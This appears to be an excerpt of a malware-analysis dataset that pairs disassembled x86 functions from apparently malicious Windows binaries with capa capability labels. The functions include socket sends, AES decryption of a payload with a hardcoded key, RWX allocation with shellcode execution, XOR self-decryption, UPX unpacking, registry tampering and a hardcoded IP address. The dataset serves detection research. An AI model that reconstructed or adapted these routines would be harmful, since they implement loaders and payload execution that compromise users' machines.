joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1002d160
Capabilities:
Send data
Send data on socket

Disassembly:
push ecx
mov eax, dword [esp + 8]
push ebx
push edi
mov eax, dword [eax]
mov dword [esp + 8], eax
mov edi, dword [eax + 0x124]
mov eax, dword [esp + 0x14]
cmp eax, 0x1f
jne 0x1002d2c9
push ebp
push esi
lea ebp, [edi + 0x1cb0]
lea esi, [edi + 0x1eb0]
cmp ebp, esi
mov dword [esi], ebp
jae 0x1002d19d
mov byte [ebp], 0xff
mov eax, dword [esi]
inc eax
mov dword [esi], eax
mov eax, dword [esi]
cmp eax, esi
jae 0x1002d1ab
mov byte [eax], 0xfa
mov eax, dword [esi]
inc eax
mov dword [esi], eax
mov eax, dword [esi]
cmp eax, esi
jae 0x1002d1b9
mov byte [eax], 0x1f
mov eax, dword [esi]
inc eax
mov dword [esi], eax
mov cx, word [edi + 0x1ca8]
mov ebx, dword [sym.imp.WS2_32.dll_htons]
push ecx
call ebx
mov dx, word [edi + 0x1caa]
mov dword [esp + 0x1c], eax
push edx
call ebx
mov ecx, dword [esi]
cmp ecx, esi
jae 0x1002d1e8
mov dl, byte [esp + 0x1c]
mov byte [ecx], dl
mov ecx, dword [esi]
inc ecx
mov dword [esi], ecx
mov ecx, dword [esi]
cmp ecx, esi
jae 0x1002d1f9
mov dl, byte [esp + 0x1d]
mov byte [ecx], dl
mov ecx, dword [esi]
inc ecx
mov dword [esi], ecx
mov ecx, dword [esi]
cmp ecx, esi
jae 0x1002d206
mov byte [ecx], al
mov ecx, dword [esi]
inc ecx
mov dword [esi], ecx
mov ecx, dword [esi]
cmp ecx, esi
jae 0x1002d213
mov byte [ecx], ah
mov eax, dword [esi]
inc eax
mov dword [esi], eax
mov eax, dword [esi]
cmp eax, esi
jae 0x1002d221
mov byte [eax], 0xff
mov eax, dword [esi]
inc eax
mov dword [esi], eax
mov eax, dword [esi]
cmp eax, esi
jae 0x1002d22f
mov byte [eax], 0xf0
mov eax, dword [esi]
inc eax
mov dword [esi], eax
mov eax, dword [esi]
mov ebx, dword [esp + 0x10]
mov ecx, eax
lea edx, [edi + 0x1cb2]
sub ecx, ebp
mov dword [edi + 0x1eb4], eax
sub ecx, 2
mov dword [esi], ebp
push ecx
push edx
push 0x3e
push ebx
call fcn.1002ce50
add esp, 0x10
mov esi, dword [sym.imp.WS2_32.dll_send]
push 0
push 3
push ebp
mov ebp, dword [esp + 0x24]
mov eax, dword [ebp + 0x190]
push eax
call esi
test eax, eax
jge 0x1002d288
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.Sending_data_failed___d_
push ebx
call fcn.10026040
add esp, 0xc
lea ecx, [edi + 0x1cb3]
push 4
push ecx
push ebp
call fcn.1002d2d0
mov edx, dword [ebp + 0x190]
add esp, 0xc
add edi, 0x1cb7
push 0
push 2
push edi
push edx
call esi
pop esi
pop ebp
test eax, eax
jge 0x1002d2c9
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.Sending_data_failed___d_
push ebx
call fcn.10026040
add esp, 0xc
pop edi
pop ebx
pop ecx
ret
Function at 0x10038ab0
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
sub esp, 0xc
push esi
xor esi, esi
push 0xf0000000
push 0x18
push esi
lea eax, [esp + 0x14]
push esi
push eax
mov dword [esp + 0x1c], esi
mov dword [esp + 0x20], esi
mov dword [esp + 0x18], esi
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x10038b9c
mov edx, dword [esp + 8]
lea ecx, [esp + 4]
push ecx
push esi
push esi
push 0x800c
push edx
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x10038b8f
mov edx, dword [esp + 0x14]
push edi
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
push esi
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0xc]
not ecx
dec ecx
push ecx
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
pop edi
je 0x10038b84
mov edx, dword [esp + 4]
mov eax, dword [esp + 8]
lea ecx, [esp + 0xc]
push ecx
push 1
push edx
push 0x6610
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x10038b84
mov edx, dword [esp + 0x18]
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x1c]
push ecx
push edx
push esi
push 1
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x10038b6f
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x1c]
mov esi, 1
mov dword [ecx], edx
jmp 0x10038b79
mov eax, dword [esp + 0x20]
mov dword [eax], 0
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov eax, dword [esp + 8]
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, esi
pop esi
add esp, 0xc
ret
Function at 0x10038bb0
Capabilities:
Get file size
Read file on windows

Disassembly:
sub esp, 0x108
push ebx
push esi
push edi
lea eax, [esp + 0x10]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x10]
push 0x5c
push ecx
call fcn.100393f0
mov byte [eax], 0
mov edi, str.donottrace.txt
or ecx, 0xffffffff
xor eax, eax
add esp, 8
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0x80
push 3
mov ecx, ebx
push eax
push eax
and ecx, 3
lea eax, [esp + 0x24]
push accept
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push eax
mov dword [0x10052980], eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 4
push 0x3000
push eax
push 0
mov dword [0x10052970], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [0x10052970]
mov edx, dword [0x10052980]
push 0
push 0x10052974
push ecx
push eax
push edx
mov dword [0x10052978], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10052980]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [0x10052970]
mov eax, dword [0x10052978]
lea ecx, [esp + 0xc]
mov dword [esp + 0xc], 0
push ecx
push edx
push eax
push str.VP6xD1l641p5CrMKbgvnQoD20qUxdortl591yX0dNNGQeTiWITjLGfOgtBE1yS14WodB90cSQObezPtfScLWAIjNbqj31IFVZMdwWY12DfrWFyuZnqBPWXOc8gTndiPN
call fcn.10038ab0
add esp, 0x10
pop edi
pop esi
pop ebx
add esp, 0x108
ret
Function at 0x10038d40
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, ecx
mov eax, dword [edi + 8]
test eax, eax
je 0x10038d56
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret 8
mov eax, dword [esp + 0x18]
mov ebp, dword [esp + 0x14]
push eax
push ebp
mov ecx, edi
call fcn.10039130
test eax, eax
jne 0x10038d72
pop edi
pop esi
pop ebp
pop ebx
ret 8
mov ecx, edi
call fcn.10039210
mov ebx, eax
test ebx, ebx
jne 0x10038d86
pop edi
pop esi
pop ebp
pop ebx
ret 8
push 0x40
push 0x3000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x10038da3
pop edi
pop esi
pop ebp
pop ebx
ret 8
push ebp
push esi
mov ecx, edi
call fcn.10039290
mov eax, dword [edi + 0x10]
mov ecx, dword [eax + 0xa0]
test ecx, ecx
jbe 0x10038dcb
mov ecx, dword [eax + 0xa4]
test ecx, ecx
jbe 0x10038dcb
push esi
mov ecx, edi
call fcn.10038fb0
push esi
mov ecx, edi
call fcn.10039020
test eax, eax
jne 0x10038ded
push 0x8000
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret 8
lea ecx, [esp + 0x18]
push ecx
push 0x40
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [edi + 0x10]
push 0
push 1
push esi
mov dword [edx + 0x34], esi
mov eax, dword [edi + 0x10]
mov ecx, dword [eax + 0x28]
lea eax, [ecx + esi]
mov dword [edi + 4], eax
call eax
test eax, eax
jne 0x10038e3d
push eax
push eax
push esi
call dword [edi + 4]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [edi + 4], 0
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret 8
mov dword [edi], 1
mov dword [edi + 8], esi
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret 8
Function at 0x10038e60
Capabilities:
Print debug messages

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov esi, ecx
push 0x1004f7c4
call edi
mov eax, dword [esi + 0x10]
mov ecx, dword [eax + 0x78]
test ecx, ecx
je 0x10038f9c
mov ecx, dword [eax + 0x7c]
test ecx, ecx
je 0x10038f9c
mov ebx, dword [esp + 0x24]
push ebx
call edi
cmp dword [esi], 0
jne 0x10038eae
push str.isLoadOk
call edi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10
ret 4
mov eax, dword [esi + 0x10]
mov esi, dword [esi + 8]
mov ebp, dword [eax + 0x78]
mov eax, dword [eax + 0x7c]
mov dword [esp + 0x1c], eax
mov ecx, dword [esi + ebp + 0x1c]
mov edx, dword [esi + ebp + 0x24]
mov eax, dword [esi + ebp + 0x20]
mov edi, dword [esi + ebp + 0x18]
add ecx, esi
add edx, esi
add eax, esi
mov dword [esp + 0x18], ecx
test ebx, 0xffff0000
jne 0x10038ef2
mov edi, dword [esi + ebp + 0x10]
mov eax, 0xffff
sub eax, edi
and eax, ebx
jmp 0x10038f75
test edi, edi
mov dword [esp + 0x10], 0
jle 0x10038fa3
mov dword [esp + 0x14], eax
jmp 0x10038f0c
mov ebx, dword [esp + 0x24]
mov eax, dword [eax]
mov edi, ebx
add eax, esi
mov bl, byte [eax]
mov cl, bl
cmp bl, byte [edi]
jne 0x10038f36
test cl, cl
je 0x10038f32
mov bl, byte [eax + 1]
mov cl, bl
cmp bl, byte [edi + 1]
jne 0x10038f36
add eax, 2
add edi, 2
test cl, cl
jne 0x10038f12
xor eax, eax
jmp 0x10038f3b
sbb eax, eax
sbb eax, 0xffffffff
mov ecx, dword [esp + 0x10]
test eax, eax
je 0x10038f67
mov eax, dword [esp + 0x14]
mov edi, dword [esi + ebp + 0x18]
inc ecx
add eax, 4
cmp ecx, edi
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], eax
jl 0x10038f08
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10
ret 4
test ecx, ecx
jl 0x10038fa3
xor eax, eax
mov ax, word [edx + ecx*2]
mov ecx, dword [esp + 0x18]
test eax, eax
jl 0x10038fa3
cmp eax, dword [esi + ebp + 0x14]
jge 0x10038fa3
mov eax, dword [ecx + eax*4]
cmp eax, ebp
jbe 0x10038f90
mov ecx, dword [esp + 0x1c]
add ecx, ebp
cmp eax, ecx
jb 0x10038fa3
add eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret 4
push str.NULL
call edi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10
ret 4
Function at 0x10039130
Capabilities:
Parse pe header

Disassembly:
push ebx
push esi
push edi
mov edi, dword [esp + 0x14]
cmp edi, 0x40
jae 0x10039144
pop edi
pop esi
xor eax, eax
pop ebx
ret 8
mov eax, dword [esp + 0x10]
mov dword [ecx + 0xc], eax
cmp word [eax], 0x5a4d
je 0x1003915a
pop edi
pop esi
xor eax, eax
pop ebx
ret 8
mov edx, dword [eax + 0x3c]
lea esi, [edx + 0xf8]
cmp edi, esi
jae 0x1003916f
pop edi
pop esi
xor eax, eax
pop ebx
ret 8
add eax, edx
mov dword [ecx + 0x10], eax
cmp dword [eax], 0x4550
je 0x10039184
pop edi
pop esi
xor eax, eax
pop ebx
ret 8
mov dx, word [eax + 0x16]
test dh, 0x20
jne 0x10039195
pop edi
pop esi
xor eax, eax
pop ebx
ret 8
test dl, 2
jne 0x100391a2
pop edi
pop esi
xor eax, eax
pop ebx
ret 8
cmp word [eax + 0x14], 0xe0
je 0x100391b2
pop edi
pop esi
xor eax, eax
pop ebx
ret 8
lea esi, [eax + 0xf8]
xor eax, eax
mov dword [ecx + 0x14], esi
mov ecx, dword [ecx + 0x10]
xor edx, edx
mov ax, word [ecx + 6]
test eax, eax
jle 0x100391e0
lea ecx, [esi + 0x10]
mov esi, dword [ecx + 4]
mov ebx, dword [ecx]
add esi, ebx
cmp esi, edi
ja 0x100391aa
inc edx
add ecx, 0x28
cmp edx, eax
jl 0x100391cd
pop edi
pop esi
mov eax, 1
pop ebx
ret 8

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x402b10
Capabilities:
Delete registry value
Query or enumerate registry value

Disassembly:
push 0xffffffffffffffff
push 0x41dbe8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
mov eax, dword [0x426e28]
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x20], ecx
mov dword [esp + 0x18], eax
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [esp + 0x10]
push ecx
push 0xf003f
push 0
push str.lnkfile
push 0x80000000
mov dword [esp + 0x40], 0
mov dword [esp + 0x30], 1
mov dword [esp + 0x28], 0x1e
call esi
lea edx, [esp + 0x14]
lea ecx, [esp + 0x18]
push edx
push 0x1e
call fcn.00415b0c
mov ecx, dword [esp + 0x14]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push eax
lea eax, [esp + 0x24]
push eax
push 0
push str.IsShortcut
push ecx
call ebx
mov edi, eax
test edi, edi
jne 0x402baf
mov edx, dword [esp + 0x10]
push str.IsShortcut
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov eax, dword [esp + 0x10]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call ebp
lea ecx, [esp + 0x10]
mov dword [esp + 0x14], 0x1e
push ecx
push 0xf003f
push 0
push str.piffile
push 0x80000000
call esi
lea edx, [esp + 0x14]
lea ecx, [esp + 0x18]
push edx
push 0x1e
jmp loc.00430000
Function at 0x49c3f0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x1a000]
push edi
jmp 0x49c40a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x49c411
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x49c400
mov eax, 1
add ebx, ebx
jne 0x49c423
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x49c418
jne 0x49c434
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x49c418
xor ecx, ecx
sub eax, 3
jb 0x49c448
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x49c4ba
mov ebp, eax
add ebx, ebx
jne 0x49c453
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x49c460
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x49c484
inc ecx
add ebx, ebx
jne 0x49c470
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x49c465
jne 0x49c481
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x49c465
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x49c4a4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x49c495
jmp 0x49c406
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x49c4a4
add edi, ecx
jmp 0x49c406
pop esi
lea edi, [esi + 0x9a000]
mov eax, dword [edi]
or eax, eax
je 0x49c503
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x9c000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x9c050]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x49c4c1
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x9c058]
or eax, eax
je 0x49c4fd
mov dword [ebx], eax
add ebx, 4
jmp 0x49c4de
call dword [esi + 0x9c054]
mov ebp, dword [esi + 0x9c05c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1d7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x49c537
sub esp, 0xffffff80
jmp section.UPX0

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
nop
nop
pop eax
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
jl 0x433030
nop
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x4019d0
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42bac0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x24
mov ecx, dword [ebp + 0x10]
xor edx, edx
push ebx
push esi
mov eax, dword [ecx + 4]
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ecx]
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x18], 0
mov dx, word [eax + 0x14]
lea eax, [edx + eax + 0x18]
mov dword [ebp - 0x14], eax
mov ecx, dword [ecx]
mov eax, dword [ebp - 0x18]
xor edx, edx
mov dx, word [ecx + 6]
cmp eax, edx
jge 0x401b57
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 0x10]
test ecx, ecx
jne 0x401a8a
lea ecx, [ebp - 0x24]
push 0x433658
push ecx
mov dword [ebp - 4], 0
mov dword [ebp - 0x24], 0x36
call fcn.0040a6ba
mov edx, dword [ebp + 0xc]
mov esi, dword [edx + 0x38]
test esi, esi
jle 0x401a84
mov ebx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x1c]
push 4
push 0x1000
mov eax, dword [ebx + 0xc]
push esi
add eax, ecx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, esi
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 8], edi
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, 0x401b38
ret
lea eax, [ebp - 0x28]
push 0x433658
push eax
mov dword [ebp - 4], 2
mov dword [ebp - 0x28], 0x43
call fcn.0040a6ba
mov eax, dword [ebp - 0x14]
push 4
push 0x1000
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
push ecx
mov ecx, dword [ebp - 0x1c]
add edx, ecx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x20], eax
mov eax, 0x401acc
ret
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401b70
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42bad0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x24
mov eax, dword [ebp + 8]
xor ecx, ecx
push ebx
push esi
mov eax, dword [eax]
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x20], 0
mov cx, word [eax + 0x14]
lea edi, [ecx + eax + 0x18]
mov dword [ebp - 0x14], edi
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, dword [edx]
mov cx, word [eax + 6]
mov eax, dword [ebp - 0x20]
cmp eax, ecx
jge 0x401cf1
mov eax, dword [edi + 0x24]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x401c17
lea edx, [ebp - 0x24]
push 0x433658
push edx
mov dword [ebp - 4], 0
mov dword [ebp - 0x24], 0x4b
call fcn.0040a6ba
mov eax, dword [ebp - 0x14]
push 0x4000
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 8]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 0x401cd5
ret
lea ecx, [edx + ecx*2]
test eax, 0x4000000
lea edx, [esi + ecx*2]
mov ecx, dword [edx*4 + 0x56b0c0]
mov dword [ebp - 0x1c], ecx
je 0x401c36
mov eax, ecx
or ah, 2
mov dword [ebp - 0x1c], eax
mov eax, dword [edi + 0x10]
test eax, eax
mov dword [ebp - 0x18], eax
jne 0x401c98
lea edx, [ebp - 0x28]
push 0x433658
push edx
mov dword [ebp - 4], 2
mov dword [ebp - 0x28], 0x10
call fcn.0040a6ba
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x24]
test al, 0x40
je 0x401c77
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
mov eax, dword [edx + 0x20]
mov dword [ebp - 0x18], eax
mov eax, 0x401c8c
ret
test al, 0x80
je 0x401c86
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
mov eax, dword [edx + 0x24]
mov dword [ebp - 0x18], eax
mov eax, 0x401c8c
ret
jbe 0x401cdc
lea ecx, [ebp - 0x2c]
push 0x433658
push ecx
mov dword [ebp - 4], 4
mov dword [ebp - 0x2c], 0xf
call fcn.0040a6ba
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 0x30]
push edx
push eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 8]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, 0x401cd5
ret
mov ecx, dword [ebp - 0x20]
mov edi, dword [ebp - 0x14]
inc ecx
add edi, 0x28
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x14], edi
jmp 0x401baa
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4020e0
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
push edi
push 0x56b928
push 0x132000
push 0x4390c0
call fcn.00402090
push 0x4390c0
call fcn.004015f0
mov ebx, eax
add esp, 0x10
test ebx, ebx
je 0x402125
mov eax, dword [esp + 0x10]
push eax
push ebx
call fcn.00401410
add esp, 8
test eax, eax
jne 0x402129
push ebx
call fcn.004012b0
add esp, 4
pop edi
pop esi
pop ebx
ret
sub esp, 0x848
mov ecx, 0x212
mov esi, str.156.236.71.4
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call eax
push ebx
call fcn.004012b0
add esp, 4
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x416270
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov esi, dword [ebp + 0x10]
push 0xf00021
mov edx, dword [esi + 4]
mov ecx, dword [esi]
mov eax, dword [esi + 0xc]
sub eax, edx
push eax
mov eax, dword [esi + 8]
sub eax, ecx
push eax
push edx
push ecx
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.GDI32.dll_PatBlt]
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov ebx, eax
lea eax, [eax + 5]
add eax, 3
and eax, 0xfffffffc
call fcn.0040ada0
mov dword [ebp - 4], esp
cmp dword [ebp - 4], 0
je 0x41633b
add ebx, 2
mov eax, dword [ebp - 4]
push ebx
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x41633b
mov bx, 0x140
mov edi, dword [ebp + 0x14]
mov eax, edi
and al, 0xf
cmp al, 0xc
je 0x4162ee
mov ebx, edi
and bx, 0xf
or bx, 0x150
test edi, 0x80
je 0x4162f9
or bh, 8
and edi, 0x8000000
je 0x416314
mov eax, dword [0x57325c]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
movzx eax, bx
push eax
push esi
push 0xffffffffffffffff
push ecx
push edx
call dword [sym.imp.USER32.dll_DrawTextA]
test edi, edi
je 0x41633b
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esp, [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x416710
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 8]
sub esp, 4
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push ebp
push 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x41673b
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x41675f
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
jne 0x41677a
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
mov edi, ebp
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x20]
xor ecx, ecx
mov cl, ah
mov edx, eax
mov dword [esp + 0x10], 0
shl ecx, 8
shr edx, 0x10
mov byte [esp + 0x10], dl
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x28]
or ecx, edx
mov edx, eax
shr edx, 0x10
mov dword [ebp + 0x28], ecx
mov dword [esp + 0x10], 0
xor ecx, ecx
mov byte [esp + 0x10], dl
mov cl, ah
xor edx, edx
shl ecx, 8
mov dl, al
shl edx, 0x10
or ecx, dword [esp + 0x10]
or ecx, edx
mov eax, dword [esp + 0x24]
mov edx, eax
mov dword [ebp + 0x44], ecx
shr edx, 0x10
xor ecx, ecx
mov dword [esp + 0x10], 0
mov cl, ah
mov byte [esp + 0x10], dl
shl ecx, 8
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x2c]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x48], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x30]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x64], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x34]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x54], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
push 0
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
or ecx, edx
mov dword [ebp + 0x50], ecx
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
push 0
push ebp
lea ecx, [ebp + 0x68]
push ecx
push 4
push ebp
push edi
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov esi, eax
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push ebp
